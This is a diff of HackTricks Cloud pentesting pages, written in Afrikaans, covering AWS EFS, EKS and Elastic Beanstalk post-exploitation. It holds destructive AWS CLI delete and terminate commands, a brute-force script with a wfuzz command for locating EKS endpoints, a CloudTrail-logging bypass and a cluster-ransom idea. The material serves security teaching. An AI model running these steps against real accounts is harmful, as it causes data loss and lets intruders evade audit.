b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md @@ -0,0 +1,46 @@ +# AWS - EFS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### `elasticfilesystem:DeleteMountTarget` + +'n attacker kan 'n mount target verwyder, wat moontlik toegang tot die EFS-lêerstelsel vir toepassings en gebruikers wat op daardie mount target staatmaak, ontwrig. +```sql +aws efs delete-mount-target --mount-target-id +``` +**Potensiële impak**: Ontwrigting van toegang tot die lêerstelsel en moontlike dataverlies vir gebruikers of toepassings. + +### `elasticfilesystem:DeleteFileSystem` + +'n Aanvaller kan 'n volledige EFS-lêerstelsel verwyder, wat kan lei tot dataverlies en die werking van toepassings wat op die lêerstelsel staatmaak, beïnvloed. +```perl +aws efs delete-file-system --file-system-id +``` +**Potensiële impak**: Dataverlies en diensonderbreking vir toepassings wat die verwyderde lêerstelsel gebruik. + +### `elasticfilesystem:UpdateFileSystem` + +’n aanvaller kan die EFS-lêerstelsel se eienskappe bywerk, soos throughput mode, om die prestasie te beïnvloed of uitputting van hulpbronne te veroorsaak. +```sql +aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps +``` +**Potensiële impak**: Degradasie van lêerstelselprestasies of uitputting van hulpbronne. + +### `elasticfilesystem:CreateAccessPoint` en `elasticfilesystem:DeleteAccessPoint` + +'n Aanvaller kan access points skep of verwyder, toegangbeheer verander en moontlik hulself ongemagtigde toegang tot die lêerstelsel verleen. +```arduino +aws efs create-access-point --file-system-id --posix-user --root-directory +aws efs delete-access-point --access-point-id +``` +**Potensiële impak**: Ongeoorloofde toegang tot die lêerstelsel, blootstelling of wysiging van data. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md deleted file mode 100644 index 5302fceaa..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ /dev/null @@ -1,143 +0,0 @@ -# AWS - EKS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## EKS - -Vir meer inligting, kyk - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### Enumereer die kluster vanaf die AWS Console - -As jy die toestemming **`eks:AccessKubernetesApi`** het, kan jy **Kubernetes-objekte** via die AWS EKS-console **bekyk** ([Leer meer](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). - -### Verbinde met AWS Kubernetes Kluster - -- Maklike manier: -```bash -# Generate kubeconfig -aws eks update-kubeconfig --name aws-eks-dev -``` -- Nie so maklik nie: - -As jy **'n token kan kry** met **`aws eks get-token --name `** maar jy het nie toestemming om cluster inligting te kry nie (describeCluster), kan jy **jou eie `~/.kube/config` voorberei**. Maar, met die token, moet jy steeds die **url eindpunt om te verbind** hê (as jy daarin geslaag het om 'n JWT token van 'n pod te kry, lees [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**. - -In my geval, het ek nie die inligting in CloudWatch logs gevind nie, maar ek **het dit in LaunchTemplates userData gevind** en in **EC2 masjiene in userData ook**. Jy kan hierdie inligting maklik in **userData** sien, byvoorbeeld in die volgende voorbeeld (die cluster naam was cluster-name): -```bash -API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com - -/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false -``` -
- -kube konfig -```yaml -describe-cache-parametersapiVersion: v1 -clusters: -- cluster: -certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== -server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com -name: arn:aws:eks:us-east-1::cluster/ -contexts: -- context: -cluster: arn:aws:eks:us-east-1::cluster/ -user: arn:aws:eks:us-east-1::cluster/ -name: arn:aws:eks:us-east-1::cluster/ -current-context: arn:aws:eks:us-east-1::cluster/ -kind: Config -preferences: {} -users: -- name: arn:aws:eks:us-east-1::cluster/ -user: -exec: -apiVersion: client.authentication.k8s.io/v1beta1 -args: -- --region -- us-west-2 -- --profile -- -- eks -- get-token -- --cluster-name -- -command: aws -env: null -interactiveMode: IfAvailable -provideClusterInfo: false -``` -
- -### Van AWS na Kubernetes - -Die **skepper** van die **EKS-kluster** sal **ALTYD** in staat wees om in die kubernetes kluster deel van die groep **`system:masters`** (k8s admin) te kom. Ten tyde van hierdie skrywe is daar **geen direkte manier** om te vind **wie die kluster geskep het** (jy kan CloudTrail nagaan). En daar is **geen manier** om daardie **privilege** te **verwyder**. - -Die manier om **toegang tot K8s aan meer AWS IAM gebruikers of rolle** te verleen, is deur die **configmap** **`aws-auth`** te gebruik. - -> [!WARNING] -> Daarom sal enigeen met **skryftoegang** oor die config map **`aws-auth`** in staat wees om die **hele kluster te kompromitteer**. - -Vir meer inligting oor hoe om **addisionele privileges aan IAM rolle & gebruikers** in die **dieselfde of verskillende rekening** te verleen en hoe om dit te **misbruik**, kyk na [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). - -Kyk ook na[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post om te leer hoe die authenticatie IAM -> Kubernetes werk**. - -### Van Kubernetes na AWS - -Dit is moontlik om 'n **OpenID-authenticatie vir kubernetes diensrekening** toe te laat om hulle in staat te stel om rolle in AWS aan te neem. Leer hoe [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). - -### KRY Api Server Eindpunt van 'n JWT Token - -Deur die JWT-token te ontleed, kry ons die kluster-id & ook die streek. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Weet dat die standaardformaat vir EKS-URL is -```bash -https://...eks.amazonaws.com -``` -Nie enige dokumentasie gevind wat die kriteria vir die 'twee karakters' en die 'nommer' verduidelik nie. Maar deur 'n paar toetse namens myself te doen, sien ek dat hierdie eenhede herhaaldelik voorkom: - -- gr7 -- yl4 - -In elk geval is dit net 3 karakters wat ons kan bruteforce. Gebruik die onderstaande skrip om die lys te genereer. -```python -from itertools import product -from string import ascii_lowercase - -letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) -number_combinations = product('0123456789', repeat = 1) - -result = [ -f'{''.join(comb[0])}{comb[1][0]}' -for comb in product(letter_combinations, number_combinations) -] - -with open('out.txt', 'w') as f: -f.write('\n'.join(result)) -``` -Dan met wfuzz -```bash -wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com -``` -> [!WARNING] -> Onthou om & te vervang. - -### Bypass CloudTrail - -As 'n aanvaller die akrediteer van 'n AWS met **toestemming oor 'n EKS** verkry. As die aanvaller sy eie **`kubeconfig`** (sonder om **`update-kubeconfig`** te noem) soos voorheen verduidelik, genereer die **`get-token`** nie logs in Cloudtrail nie omdat dit nie met die AWS API interaksie het nie (dit skep net die token plaaslik). - -So wanneer die aanvaller met die EKS-kluster praat, **sal cloudtrail niks log wat verband hou met die gebruiker wat gesteel is en toegang daartoe het nie**. - -Let daarop dat die **EKS-kluster dalk logs geaktiveer het** wat hierdie toegang sal log (alhoewel, standaard, is hulle gedeaktiveer). - -### EKS Ransom? - -Standaard het die **gebruiker of rol wat 'n** kluster geskep het **ALTYD administratiewe regte** oor die kluster. En dit is die enigste "veilige" toegang wat AWS oor die Kubernetes-kluster sal hê. - -So, as 'n **aanvaller 'n kluster met fargate kompromitteer** en **alle ander admins verwyder** en **die AWS gebruiker/rol wat die** Kluster geskep het, verwyder, ~~kan die aanvaller die **kluster ge**~~**ransom**. - -> [!TIP] -> Let daarop dat as die kluster **EC2 VMs** gebruik, dit moontlik kan wees om Admin regte van die **Node** te verkry en die kluster te herstel. -> -> Trouens, as die kluster Fargate gebruik, kan jy EC2 nodes of alles na EC2 na die kluster skuif en dit herstel deur toegang tot die tokens in die node te verkry. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md new file mode 100644 index 000000000..1da21a5ea --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -0,0 +1,143 @@ +# AWS - EKS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EKS + +Vir meer inligting sien + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### Enumerate the cluster from the AWS Console + +As jy die toestemming **`eks:AccessKubernetesApi`** het, kan jy **Kubernetes-objekte besigtig** via die AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). + +### Koppel aan AWS Kubernetes-kluster + +- Maklike manier: +```bash +# Generate kubeconfig +aws eks update-kubeconfig --name aws-eks-dev +``` +- Nie daardie maklike manier nie: + +As jy **'n token kan kry** met **`aws eks get-token --name `** maar jy het nie permissies om cluster-inligting te kry (describeCluster) nie, kan jy **jou eie `~/.kube/config` voorberei**. Alhoewel jy die token het, het jy steeds die **URL-eindpunt om aan te koppel** nodig (as jy daarin geslaag het om 'n JWT token van 'n pod te kry lees [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**. + +In my geval het ek die inligting nie in CloudWatch logs gevind nie, maar ek **het dit in LaunchTemaplates userData gevind** en ook in **EC2 machines in userData**. Jy kan hierdie inligting maklik in **userData** sien, byvoorbeeld in die volgende voorbeeld (die cluster naam was cluster-name): +```bash +API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com + +/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false +``` +
+ +kube config +```yaml +describe-cache-parametersapiVersion: v1 +clusters: +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ +contexts: +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ +current-context: arn:aws:eks:us-east-1::cluster/ +kind: Config +preferences: {} +users: +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false +``` +
+ +### Van AWS na Kubernetes + +Die **skepper** van die **EKS cluster** sal **ALWAYS** toegang hê tot die kubernetes cluster deel van die groep **`system:masters`** (k8s admin). Op die tyd van skrywe is daar **no direct way** om te vind **wie die cluster geskep het** (jy kan CloudTrail nagaan). En daar is **no way** om daardie **privilege** te **remove**. + +Die manier om **access to over K8s to more AWS IAM users or roles** te verleen is deur die **configmap** **`aws-auth`** te gebruik. + +> [!WARNING] +> Daarom sal enigiemand met **write access** oor die config map **`aws-auth`** in staat wees om die **compromise the whole cluster**. + +Vir meer inligting oor hoe om **extra voorregte aan IAM roles & users te verleen** in die **selfde of ander account** en hoe om dit te **abuse** sien [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). + +Kyk ook [ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. + +### Van Kubernetes na AWS + +Dit is moontlik om **OpenID authentication for kubernetes service account** toe te laat sodat hulle rolle in AWS kan assume. Leer hoe [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). + +### GET Api Server Endpoint from a JWT Token + +Deur die JWT token te decodeer kry ons die cluster id & ook die region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Wetende dat die standaard formaat vir EKS url is +```bash +https://...eks.amazonaws.com +``` +Ek het geen dokumentasie gevind wat die kriteria vir die 'two chars' en die 'number' verduidelik nie. Maar nadat ek 'n paar toetse gedoen het, sien ek dat die volgende gereeld voorkom: + +- gr7 +- yl4 + +Dit is tog net 3 tekens; ons kan dit bruteforce. Gebruik die onderstaande script om die lys te genereer +```python +from itertools import product +from string import ascii_lowercase + +letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) +number_combinations = product('0123456789', repeat = 1) + +result = [ +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) +] + +with open('out.txt', 'w') as f: +f.write('\n'.join(result)) +``` +Dan met wfuzz +```bash +wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com +``` +> [!WARNING] +> Onthou om & te vervang . + +### Bypass CloudTrail + +As 'n aanvaller credentiale van 'n AWS-rekening met **permission over an EKS** bekom. As die aanvaller sy eie **`kubeconfig`** opstel (sonder om **`update-kubeconfig`** te roep) soos voorheen verduidelik, genereer **`get-token`** geen logs in Cloudtrail nie omdat dit nie met die AWS API kommunikeer nie (dit skep net die token lokaal). + +Dus, wanneer die aanvaller met die EKS cluster kommunikeer, **cloudtrail sal niks log wat verband hou met die gesteelde gebruiker en toegang daartoe nie**. + +Let wel dat die **EKS cluster dalk logs geaktiveer het** wat hierdie toegang sal log (alhoewel hulle standaard gedeaktiveer is). + +### EKS Ransom? + +Per verstek sal die gebruiker of rol wat 'n cluster geskep het, ALTYD admin-regte oor die cluster hê. En dit is die enigste "secure" toegang wat AWS oor die Kubernetes cluster sal hê. + +So, as 'n **aanvaller 'n cluster kompromitteer wat fargate gebruik** en **al die ander admins verwyder** en d**eleteer die AWS user/role wat die Cluster geskep het**, die Cluster, ~~die aanvaller kon die cluster **losgekoop die kluste**~~**r**. + +> [!TIP] +> Let wel dat as die cluster **EC2 VMs** gebruik het, dit moontlik sou wees om Admin-regte van die **Node** te kry en die cluster te herstel. +> +> Trouens, as die cluster Fargate gebruik, kan jy EC2 nodes skep of alles na EC2 skuif in die cluster en dit herstel deur toegang tot die tokens op die node. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md deleted file mode 100644 index 5c1a4120b..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ /dev/null @@ -1,70 +0,0 @@ -# AWS - Elastic Beanstalk Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Vir meer inligting: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### `elasticbeanstalk:DeleteApplicationVersion` - -> [!NOTE] -> TODO: Toets of meer toestemmings benodig word vir hierdie - -'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplicationVersion` kan **'n bestaande toepassingsweergawe verwyder**. Hierdie aksie kan toepassingsontplooiing pyplyne ontwrig of die verlies van spesifieke toepassingsweergawes veroorsaak as dit nie geback-up is nie. -```bash -aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version -``` -**Potensiële Impak**: Ontwrichting van toepassingsontplooiing en potensiële verlies van toepassingsweergawes. - -### `elasticbeanstalk:TerminateEnvironment` - -> [!NOTE] -> TODO: Toets of meer toestemmings benodig word vir dit - -'n Aanvaller met die toestemming `elasticbeanstalk:TerminateEnvironment` kan **'n bestaande Elastic Beanstalk-omgewing beëindig**, wat stilstand van die toepassing en potensiële dataverlies kan veroorsaak as die omgewing nie vir rugsteun geconfigureer is nie. -```bash -aws elasticbeanstalk terminate-environment --environment-name my-existing-env -``` -**Potensiële Impak**: Stilstand van die toepassing, potensiële dataverlies, en ontwrigting van dienste. - -### `elasticbeanstalk:DeleteApplication` - -> [!NOTE] -> TODO: Toets of meer toestemmings benodig word vir dit - -'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplication` kan **'n hele Elastic Beanstalk-toepassing verwyder**, insluitend al sy weergawes en omgewings. Hierdie aksie kan 'n beduidende verlies van toepassingshulpbronne en konfigurasies veroorsaak as dit nie geback-up is nie. -```bash -aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force -``` -**Potensiële Impak**: Verlies van toepassingshulpbronne, konfigurasies, omgewings en toepassingsweergawe, wat kan lei tot diensonderbreking en potensiële dataverlies. - -### `elasticbeanstalk:SwapEnvironmentCNAMEs` - -> [!NOTE] -> TODO: Toets of meer toestemmings benodig word vir dit - -'n Aanvaller met die `elasticbeanstalk:SwapEnvironmentCNAMEs` toestemming kan **die CNAME-rekords van twee Elastic Beanstalk omgewings verwissel**, wat mag veroorsaak dat die verkeerde weergawe van die toepassing aan gebruikers bedien word of lei tot onbedoelde gedrag. -```bash -aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 -``` -**Potensiële Impak**: Om die verkeerde weergawe van die toepassing aan gebruikers te dien of om onbedoelde gedrag in die toepassing te veroorsaak as gevolg van verwisselde omgewings. - -### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` - -> [!NOTE] -> TODO: Toets of meer toestemmings benodig word vir dit - -'n Aanvaller met die `elasticbeanstalk:AddTags` en `elasticbeanstalk:RemoveTags` toestemmings kan **tags op Elastic Beanstalk hulpbronne byvoeg of verwyder**. Hierdie aksie kan lei tot verkeerde hulpbron toewysing, fakturering, of hulpbron bestuur. -```bash -aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 - -aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag -``` -**Potensiële Impak**: Onkorrekte hulpbron toewysing, fakturering, of hulpbron bestuur as gevolg van bygevoegde of verwyderde etikette. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md new file mode 100644 index 000000000..d6ef7400d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md @@ -0,0 +1,70 @@ +# AWS - Elastic Beanstalk Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Vir meer inligting: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### `elasticbeanstalk:DeleteApplicationVersion` + +> [!NOTE] +> TODO: Toets of meer permissies hiervoor benodig word + +'n aanvaller met die permissie `elasticbeanstalk:DeleteApplicationVersion` kan **'n bestaande toepassingsweergawe verwyder**. Hierdie aksie kan toepassingsimplementeringspyplyne ontwrig of verlies van spesifieke toepassingsweergawes veroorsaak as daar nie 'n rugsteun is nie. +```bash +aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version +``` +**Potensiële impak**: Onderbreking van die toepassing se implementering en potensiële verlies van toepassingsweergawes. + +### `elasticbeanstalk:TerminateEnvironment` + +> [!NOTE] +> TODO: Toets of meer toestemmings hiervoor benodig word + +'n aanvaller met die toestemming `elasticbeanstalk:TerminateEnvironment` kan **'n bestaande Elastic Beanstalk-omgewing beëindig**, wat stilstand van die toepassing veroorsaak en moontlike dataverlies tot gevolg kan hê as die omgewing nie vir rugsteun gekonfigureer is nie. +```bash +aws elasticbeanstalk terminate-environment --environment-name my-existing-env +``` +**Potensiële impak**: Diensonderbreking van die toepassing, potensiële dataverlies en ontwrigting van dienste. + +### `elasticbeanstalk:DeleteApplication` + +> [!NOTE] +> TODO: Toets of hiervoor meer toestemmings benodig word + +'n aanvaller met die toestemming `elasticbeanstalk:DeleteApplication` kan **'n hele Elastic Beanstalk-toepassing verwyder**, insluitend al sy weergawes en omgewings. Hierdie aksie kan 'n beduidende verlies van toepassingshulpbronne en konfigurasies veroorsaak indien dit nie gerugsteun is nie. +```bash +aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force +``` +**Potensiële impak**: Verlies van toepassingshulpbronne, konfigurasies, omgewings en toepassingsweergawes, wat kan lei tot diensonderbreking en moontlike dataverlies. + +### `elasticbeanstalk:SwapEnvironmentCNAMEs` + +> [!NOTE] +> TODO: Toets of hiervoor meer toestemmings benodig word. + +’n aanvaller met die `elasticbeanstalk:SwapEnvironmentCNAMEs` toestemming kan **swap the CNAME records of two Elastic Beanstalk environments**, wat daartoe kan lei dat die verkeerde weergawe van die toepassing aan gebruikers bedien word of tot onbedoelde gedrag lei. +```bash +aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 +``` +**Potensiële impak**: Die verkeerde weergawe van die toepassing aan gebruikers bedien of onbedoelde gedrag in die toepassing veroorsaak as gevolg van omgeruilde omgewings. + +### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` + +> [!NOTE] +> TODO: Toets of meer permissies hiervoor vereis word + +'n aanvaller met die `elasticbeanstalk:AddTags` en `elasticbeanstalk:RemoveTags` permissies kan **tags op Elastic Beanstalk-hulpbronne voeg of verwyder**. Hierdie aksie kan lei tot verkeerde hulpbrontoewysing, fakturering of hulpbronbestuur. +```bash +aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 + +aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag +``` +**Potensiële impak**: Onjuiste hulpbrontoewysing, fakturering of hulpbronbestuur as gevolg van bygevoegde of verwyderde tags. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md deleted file mode 100644 index 55831b84e..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ /dev/null @@ -1,165 +0,0 @@ -# AWS - IAM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Vir meer inligting oor IAM-toegang: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -## Confused Deputy Problem - -As jy **'n external account (A)** toelaat om toegang 